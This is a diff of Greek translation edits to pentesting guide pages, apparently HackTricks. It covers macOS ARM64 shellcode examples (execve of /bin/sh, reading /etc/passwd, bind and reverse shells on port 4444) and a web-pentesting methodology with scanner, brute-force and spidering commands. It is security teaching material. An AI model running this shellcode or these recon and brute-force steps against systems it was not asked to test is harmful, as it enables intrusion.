||||
```armasm
|
||||
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
@ -537,9 +540,9 @@ sh_path: .asciz "/bin/sh"
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
#### Διαβάστε με cat
|
||||
#### Ανάγνωση με cat
|
||||
|
||||
Ο στόχος είναι να εκτελέσετε `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, έτσι ώστε το δεύτερο επιχείρημα (x1) να είναι ένας πίνακας παραμέτρων (που στη μνήμη σημαίνει μια στοίβα διευθύνσεων).
|
||||
Ο στόχος είναι να εκτελεστεί `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, οπότε το δεύτερο όρισμα (x1) είναι ένας πίνακας παραμέτρων (που στη μνήμη σημαίνει μια stack με τις διευθύνσεις).
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat"
|
||||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### Καλέστε την εντολή με sh από ένα fork ώστε η κύρια διαδικασία να μην τερματιστεί
|
||||
#### Εκτέλεση εντολής με sh από fork ώστε η κύρια διεργασία να μην τερματιστεί
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala"
|
||||
```
|
||||
#### Bind shell
|
||||
|
||||
Bind shell από [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) σε **port 4444**
|
||||
Bind shell από [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s] σε **port 4444**
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
@ -695,7 +698,7 @@ svc #0x1337
|
||||
```
|
||||
#### Reverse shell
|
||||
|
||||
Από [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell σε **127.0.0.1:4444**
|
||||
Από [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell προς **127.0.0.1:4444**
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
||||
@ -1,12 +1,12 @@
|
||||
# 80,443 - Pentesting Web Methodology
|
||||
# 80,443 - Pentesting Web Μεθοδολογία
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
Η υπηρεσία web είναι η πιο **συνηθισμένη και εκτεταμένη υπηρεσία** και υπάρχουν πολλοί **διαφορετικοί τύποι ευπαθειών**.
|
||||
Η web υπηρεσία είναι η πιο **συνηθισμένη και εκτενής υπηρεσία** και υπάρχουν πολλές **διαφορετικοί τύποι ευπαθειών**.
|
||||
|
||||
**Προεπιλεγμένη θύρα:** 80 (HTTP), 443(HTTPS)
|
||||
**Default port:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
@ -17,7 +17,7 @@ PORT STATE SERVICE
|
||||
nc -v domain.com 80 # GET / HTTP/1.0
|
||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
```
|
||||
### Οδηγίες Web API
|
||||
### Κατευθύνσεις για Web API
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -26,29 +26,29 @@ web-api-pentesting.md
|
||||
|
||||
## Περίληψη μεθοδολογίας
|
||||
|
||||
> Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι πρόκειται να επιτεθείτε σε ένα domain (or subdomain) και μόνο αυτό. Άρα, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέν domain, subdomain ή IP με μη καθορισμένο web server εντός του scope.
|
||||
> Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι πρόκειται να επιτεθείς σε ένα domain (ή subdomain) και μόνο αυτό. Συνεπώς, πρέπει να εφαρμόσεις αυτή τη μεθοδολογία για κάθε εντοπισμένο domain, subdomain ή IP με αδιευκρίνιστο web server εντός του πεδίου.
|
||||
|
||||
- [ ] Ξεκινήστε με το **να αναγνωρίσετε** τις **technologies** που χρησιμοποιεί ο web server. Ψάξτε για **tricks** που πρέπει να έχετε υπόψη κατά τη διάρκεια του υπόλοιπου test αν καταφέρετε να αναγνωρίσετε την tech.
|
||||
- [ ] Υπάρχει κάποια **known vulnerability** στην έκδοση της technology;
|
||||
- [ ] Χρησιμοποιείται κάποια **well known tech**; Κάποιο **useful trick** για να εξάγετε περισσότερες πληροφορίες;
|
||||
- [ ] Υπάρχει κάποιος **specialised scanner** για να τρέξετε (όπως wpscan);
|
||||
- [ ] Εκτελέστε **general purposes scanners**. Δεν ξέρετε ποτέ αν θα βρουν κάτι ή αν θα αποκαλύψουν ενδιαφέρουσες πληροφορίες.
|
||||
- [ ] Ξεκινήστε με τους **initial checks**: **robots**, **sitemap**, **404** error και **SSL/TLS scan** (if HTTPS).
|
||||
- [ ] Ξεκινήστε **spidering** της σελίδας: Είναι ώρα να **βρείτε** όλα τα πιθανά **files, folders** και **parameters being used.** Επίσης, ελέγξτε για **special findings**.
|
||||
- [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος κατάλογος κατά το brute-forcing ή spidering, θα πρέπει να spidered._
|
||||
- [ ] **Directory Brute-Forcing**: Προσπαθήστε να brute force όλους τους ανακαλυφθέντες φακέλους αναζητώντας νέα **files** και **directories**.
|
||||
- [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος κατάλογος κατά το brute-forcing ή spidering, θα πρέπει να Brute-Forced._
|
||||
- [ ] **Backups checking**: Ελέγξτε αν μπορείτε να βρείτε **backups** των **ανακαλυφθέντων files** προσθέτοντας κοινές επεκτάσεις backup.
|
||||
- [ ] **Brute-Force parameters**: Προσπαθήστε να **βρείτε hidden parameters**.
|
||||
- [ ] Μόλις έχετε **identified** όλα τα πιθανά **endpoints** που δέχονται **user input**, ελέγξτε για κάθε είδους **vulnerabilities** που σχετίζονται με αυτά.
|
||||
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
- [ ] Ξεκίνα με το **να αναγνωρίσεις** τις **τεχνολογίες** που χρησιμοποιεί ο web server. Ψάξε για **tricks** που αξίζει να θυμάσαι κατά την υπόλοιπη διάρκεια του τεστ αν μπορέσεις να αναγνωρίσεις την τεχνολογία.
|
||||
- [ ] Υπάρχει κάποια **γνωστή ευπάθεια** στην έκδοση της τεχνολογίας;
|
||||
- [ ] Χρησιμοποιεί κάποιο **well known tech**; Κάποιο **useful trick** για να εξάγεις περισσότερες πληροφορίες;
|
||||
- [ ] Κάποιος **specialised scanner** που πρέπει να τρέξεις (π.χ. wpscan);
|
||||
- [ ] Εκτέλεσε **general purposes scanners**. Ποτέ δεν ξέρεις αν θα βρουν κάτι ή αν θα αποκαλύψουν ενδιαφέρουσες πληροφορίες.
|
||||
- [ ] Ξεκίνα με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** error και **SSL/TLS scan** (αν είναι HTTPS).
|
||||
- [ ] Ξεκίνα **spidering** της σελίδας: Είναι ώρα να **βρεις** όλα τα πιθανά **files, folders** και **parameters being used.** Επίσης, έλεγξε για **special findings**.
|
||||
- [ ] _Σημείωση ότι κάθε φορά που ενός νέος κατάλογος εντοπίζεται κατά τη διάρκεια brute-forcing ή spidering, θα πρέπει να spidered._
|
||||
- [ ] **Directory Brute-Forcing**: Προσπάθησε να brute force όλους τους εντοπισμένους φακέλους αναζητώντας νέα **files** και **directories**.
|
||||
- [ ] _Σημείωση ότι κάθε φορά που ένας νέος κατάλογος εντοπίζεται κατά τη διάρκεια brute-forcing ή spidering, θα πρέπει να Brute-Forced._
|
||||
- [ ] **Backups checking**: Δοκίμασε αν μπορείς να βρεις **backups** των **discovered files** προσθέτοντας κοινές επεκτάσεις backup.
|
||||
- [ ] **Brute-Force parameters**: Προσπάθησε να **βρείς hidden parameters**.
|
||||
- [ ] Μόλις έχεις **αναγνωρίσει** όλα τα πιθανά **endpoints** που δέχονται **user input**, έλεγξε για κάθε είδους **vulnerabilities** που σχετίζονται με αυτά.
|
||||
- [ ] [Ακολούθησε αυτό το checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Έκδοση Server (Vulnerable?)
|
||||
## Server Version (Vulnerable?)
|
||||
|
||||
### Αναγνώριση
|
||||
### Identify
|
||||
|
||||
Ελέγξτε αν υπάρχουν **known vulnerabilities** για την **version** του server που τρέχει.\
|
||||
Τα **HTTP headers and cookies της απάντησης** μπορεί να είναι πολύ χρήσιμα για να **identify** τις **technologies** και/ή την **version** που χρησιμοποιούνται. Το **Nmap scan** μπορεί να αναγνωρίσει την έκδοση του server, αλλά μπορεί επίσης να είναι χρήσιμα τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
Έλεγξε αν υπάρχουν **γνωστές ευπάθειες** για την **έκδοση** του server που τρέχει.\
|
||||
Τα **HTTP headers and cookies of the response** μπορεί να είναι πολύ χρήσιμα για να **αναγνωρίσεις** τις **τεχνολογίες** και/ή την **έκδοση** που χρησιμοποιείται. Το **Nmap scan** μπορεί να εντοπίσει την έκδοση του server, αλλά χρήσιμα μπορεί να είναι και τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) ή [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
@ -57,15 +57,15 @@ webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||
|
||||
### **Check if any WAF**
|
||||
### **Έλεγχος για WAF**
|
||||
|
||||
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
||||
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||
|
||||
### Κόλπα Web τεχνολογιών
|
||||
### Web tech tricks
|
||||
|
||||
Μερικά **κόλπα** για **εύρεση ευπαθειών** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται:
|
||||
Μερικά κόλπα για την ανεύρεση ευπαθειών σε διάφορες γνωστές τεχνολογίες που χρησιμοποιούνται:
|
||||
|
||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
- [**Apache**](apache.md)
|
||||
@ -101,19 +101,19 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **ports**, **folders** και **subdomains**._\
|
||||
Εάν η web εφαρμογή χρησιμοποιεί κάποια γνωστή **tech/platform** από αυτές που αναφέρονται παραπάνω ή κάποια άλλη, μην ξεχάσετε να **αναζητήσετε στο Internet** νέα κόλπα (και ενημερώστε με!).
|
||||
_Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικά **ports**, **folders** και **subdomains**._\
|
||||
Αν η web εφαρμογή χρησιμοποιεί κάποια από τις γνωστές τεχνολογίες/πλατφόρμες που αναφέρονται παραπάνω ή κάποια άλλη, μην ξεχάσετε να αναζητήσετε στο Internet νέα κόλπα (και ενημερώστε με!).
|
||||
|
||||
### Ανασκόπηση πηγαίου κώδικα
|
||||
### Source Code Review
|
||||
|
||||
Αν ο **πηγαίος κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από το να κάνετε εσείς ένα **White box test** της εφαρμογής, υπάρχουν **κάποιες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για το τρέχον **Black-Box testing**:
|
||||
Αν ο **source code** της εφαρμογής είναι διαθέσιμος στο **github**, πέρα από το να εκτελέσετε εσείς έναν White box test της εφαρμογής, υπάρχει κάποια **πληροφορία** που μπορεί να είναι **χρήσιμη** για το τρέχον **Black-Box testing**:
|
||||
|
||||
- Υπάρχει ένα **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **version info accessible** μέσω web;
|
||||
- Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **file** με credentials (usernames ή passwords);
|
||||
- Είναι τα **passwords** σε **plain text**, **encrypted** ή ποιος **hashing algorithm** χρησιμοποιείται;
|
||||
- Χρησιμοποιεί κάποιο **master key** για κρυπτογράφηση; Ποιος **algorithm** χρησιμοποιείται;
|
||||
- Μπορείτε να **έχετε πρόσβαση σε κάποιο από αυτά τα files** εκμεταλλευόμενοι κάποια ευπάθεια;
|
||||
- Υπάρχουν ενδιαφέρουσες πληροφορίες στο **github** (solved and not solved) **issues**; Ή στο **commit history** (ίσως κάποιο **password** εισήχθη σε παλιό commit)?
|
||||
- Is there a **Change-log or Readme or Version** file or anything with **version info accessible** via web?
|
||||
- How and where are saved the **credentials**? Is there any (accessible?) **file** with credentials (usernames or passwords)?
|
||||
- Are **passwords** in **plain text**, **encrypted** or which **hashing algorithm** is used?
|
||||
- Is it using any **master key** for encrypting something? Which **algorithm** is used?
|
||||
- Can you **access any of these files** exploiting some vulnerability?
|
||||
- Is there any **interesting information in the github** (solved and not solved) **issues**? Or in **commit history** (maybe some **password introduced inside an old commit**)?
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -122,7 +122,7 @@ code-review-tools.md
|
||||
|
||||
### Automatic scanners
|
||||
|
||||
#### General purpose automatic scanners
|
||||
#### Αυτόματοι σαρωτές γενικού σκοπού
|
||||
```bash
|
||||
nikto -h <URL>
|
||||
whatweb -a 4 <URL>
|
||||
@ -134,9 +134,9 @@ nuclei -ut && nuclei -target <URL>
|
||||
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
|
||||
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
|
||||
```
|
||||
#### Σαρωτές CMS
|
||||
#### CMS scanners
|
||||
|
||||
Αν χρησιμοποιείται CMS, μην ξεχάσετε να **τρέξετε έναν σαρωτή**, ίσως βρεθεί κάτι ενδιαφέρον:
|
||||
Αν χρησιμοποιείται CMS, μην ξεχάσετε να **τρέξετε έναν scanner**, ίσως βρεθεί κάτι ενδιαφέρον:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** ιστότοποι για ζητήματα ασφάλειας. (GUI)\
|
||||
@ -149,9 +149,9 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> Σε αυτό το σημείο θα πρέπει να έχετε ήδη κάποιες πληροφορίες για τον web server που χρησιμοποιεί ο client (αν έχουν δοθεί δεδομένα) και μερικά κόλπα να έχετε κατά νου κατά τη διάρκεια του test. Αν είστε τυχεροί ίσως έχετε ακόμη βρει ένα CMS και έχετε τρέξει κάποιο scanner.
|
||||
> Σε αυτό το σημείο θα πρέπει ήδη να έχετε κάποιες πληροφορίες για τον web server που χρησιμοποιεί ο client (εφόσον υπάρχουν δεδομένα) και μερικά κόλπα να θυμάστε κατά τη διάρκεια του test. Αν έχετε τύχη ίσως έχετε βρει ακόμη ένα CMS και έχετε τρέξει κάποιο scanner.
|
||||
|
||||
## Βήμα-βήμα Web Application Discovery
|
||||
## Βήμα-βήμα Ανακάλυψη Web Εφαρμογής
|
||||
|
||||
> Από εδώ και πέρα θα αρχίσουμε να αλληλεπιδρούμε με την web εφαρμογή.
|
||||
|
||||
@ -164,30 +164,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
- /crossdomain.xml
|
||||
- /clientaccesspolicy.xml
|
||||
- /.well-known/
|
||||
- Ελέγξτε επίσης τα comments στις κύριες και δευτερεύουσες σελίδες.
|
||||
- Ελέγξτε επίσης τα σχόλια στις κύριες και δευτερεύουσες σελίδες.
|
||||
|
||||
**Προκαλώντας σφάλματα**
|
||||
**Πρόκληση σφαλμάτων**
|
||||
|
||||
Οι web servers μπορεί να **συμπεριφέρονται απρόβλεπτα** όταν τους αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **vulnerabilities** ή να αποκαλύψει ευαίσθητες πληροφορίες.
|
||||
Οι web servers μπορεί να **συμπεριφερθούν απρόβλεπτα** όταν τους αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **vulnerabilities** ή να προκαλέσει την αποκάλυψη ευαίσθητων πληροφοριών.
|
||||
|
||||
- Πρόσβαση σε **fake pages** όπως /whatever_fake.php (.aspx,.html,.etc)
|
||||
- **Προσθέστε "\[]", "]]", και "\[\["** στα **cookie values** και **parameter** values για να δημιουργήσετε σφάλματα
|
||||
- Πρόσβαση σε **ψεύτικες σελίδες** όπως /whatever_fake.php (.aspx,.html,.etc)
|
||||
- **Προσθέστε "\[]", "]]", και "\[\["** στις **τιμές cookie** και **τιμές παραμέτρων** για να δημιουργήσετε σφάλματα
|
||||
- Δημιουργήστε σφάλμα δίνοντας είσοδο ως **`/~randomthing/%s`** στο **τέλος** του **URL**
|
||||
- Δοκιμάστε **διαφορετικά HTTP Verbs** όπως PATCH, DEBUG ή λάθος όπως FAKE
|
||||
|
||||
#### **Ελέγξτε αν μπορείτε να ανεβάσετε αρχεία (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Αν διαπιστώσετε ότι **WebDav** είναι **enabled** αλλά δεν έχετε αρκετά permissions για **uploading files** στον root folder δοκιμάστε να:
|
||||
Αν διαπιστώσετε ότι το **WebDav** είναι **ενεργοποιημένο** αλλά δεν έχετε επαρκή δικαιώματα για να ανεβάσετε αρχεία στον root φάκελο, δοκιμάστε να:
|
||||
|
||||
- Εκτελέσετε **Brute Force** στα credentials
|
||||
- **Upload files** μέσω WebDav στους υπόλοιπους βρεθέντες folders μέσα στη σελίδα. Μπορεί να έχετε permissions να ανεβάσετε αρχεία σε άλλους φακέλους.
|
||||
- **Brute Force** credentials
|
||||
- Ανεβάστε αρχεία μέσω WebDav στους υπόλοιπους φακέλους που βρέθηκαν μέσα στη σελίδα. Μπορεί να έχετε δικαιώματα να ανεβάσετε αρχεία σε άλλους φακέλους.
|
||||
|
||||
### **SSL/TLS vulnerabilites**
|
||||
### **SSL/TLS ευπάθειες**
|
||||
|
||||
- Αν η εφαρμογή **isn't forcing the user of HTTPS** σε κανένα μέρος, τότε είναι **vulnerable to MitM**
|
||||
- Αν η εφαρμογή **is sending sensitive data (passwords) using HTTP**. Τότε είναι υψηλή ευπάθεια.
|
||||
- Αν η εφαρμογή **δεν επιβάλει τη χρήση HTTPS** σε κανένα σημείο, τότε είναι **ευάλωτη σε MitM**
|
||||
- Αν η εφαρμογή **στέλνει ευαίσθητα δεδομένα (passwords) μέσω HTTP**. Τότε είναι υψηλή ευπάθεια.
|
||||
|
||||
Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για ελέγχους για **vulnerabilities** (Σε Bug Bounty προγράμματα πιθανόν αυτό το είδος ευπαθειών να μην γίνεται αποδεκτό) και χρησιμοποιήστε [**a2sv**](https://github.com/hahwul/a2sv) για να επαληθεύσετε ξανά τις ευπαθειες:
|
||||
Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για να ελέγξετε για **vulnerabilities** (σε Bug Bounty programs πιθανότατα αυτού του είδους οι vulnerabilities δεν θα γίνουν αποδεκτές) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -203,51 +203,51 @@ Information about SSL/TLS vulnerabilities:
|
||||
|
||||
### Spidering
|
||||
|
||||
Ξεκινήστε κάποιο είδος **spider** μέσα στο web. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερα paths** από την εφαρμογή που ελέγχεται. Επομένως, web crawling και εξωτερικές πηγές πρέπει να χρησιμοποιηθούν για να βρεθούν όσο το δυνατόν περισσότερα έγκυρα paths.
|
||||
Ξεκινήστε κάποιο είδος **spider** μέσα στο web. Ο στόχος του spider είναι να **βρει όσες περισσότερες διαδρομές γίνεται** από την εφαρμογή που δοκιμάζεται. Συνεπώς, web crawling και εξωτερικές πηγές πρέπει να χρησιμοποιηθούν για να εντοπιστούν όσο το δυνατόν περισσότερες έγκυρες διαδρομές.
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε JS αρχεία και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, με LinkFider για JS αρχεία και Archive.org ως εξωτερική πηγή.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, επίσης δείχνει "juicy files".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Επίσης ψάχνει στο Archive.org
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να είναι χρήσιμο. Αρκεί να υποδείξεις ένα αρχείο με hosts και ένα αρχείο με paths και το meg θα κάνει fetch κάθε path σε κάθε host και θα αποθηκεύσει την απάντηση.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες JS rendering. Ωστόσο, φαίνεται να μην συντηρείται, η προ-συμπιεσμένη έκδοση είναι παλιά και ο τρέχων κώδικας δεν μεταγλωττίζεται.
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider που χρησιμοποιεί εξωτερικούς providers (wayback, otx, commoncrawl).
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με παραμέτρους και θα τα απαριθμήσει.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες JS rendering.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες JS beautify ικανές να αναζητήσουν νέες διαδρομές σε JS αρχεία. Αξίζει επίσης να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), που είναι wrapper του LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για εξαγωγή endpoints τόσο από HTML source όσο και από embedded javascript αρχεία. Χρήσιμο για bug hunters, red teamers, infosec ninjas.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα python 2.7 script που χρησιμοποιεί Tornado και JSBeautifier για να πάρει relative URLs από JavaScript αρχεία. Χρήσιμο για εύκολη ανακάλυψη AJAX requests. Φαίνεται μη συντηρούμενο.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs χρησιμοποιώντας έξυπνα regular expressions για να βρει και να εξάγει relative URLs από μινιμαλιστικά (minify) αρχεία.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από JS αρχεία χρησιμοποιώντας διάφορα εργαλεία.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Βρίσκει JS αρχεία.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώνει μια σελίδα σε headless browser και εκτυπώνει όλα τα urls που φόρτωσε η σελίδα.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery εργαλείο που συνδυάζει επιλογές από προηγούμενα εργαλεία.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια Burp extension για να βρείτε paths και params σε JS αρχεία.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Εργαλείο που, δεδομένου του .js.map URL, θα σας επιστρέψει τον beautified JS κώδικα.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Εργαλείο για ανακάλυψη endpoints για έναν δεδομένο στόχο.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύπτει links από τη wayback machine (επίσης κατεβάζει τις απαντήσεις από τη wayback και ψάχνει για περισσότερα links).
|
||||
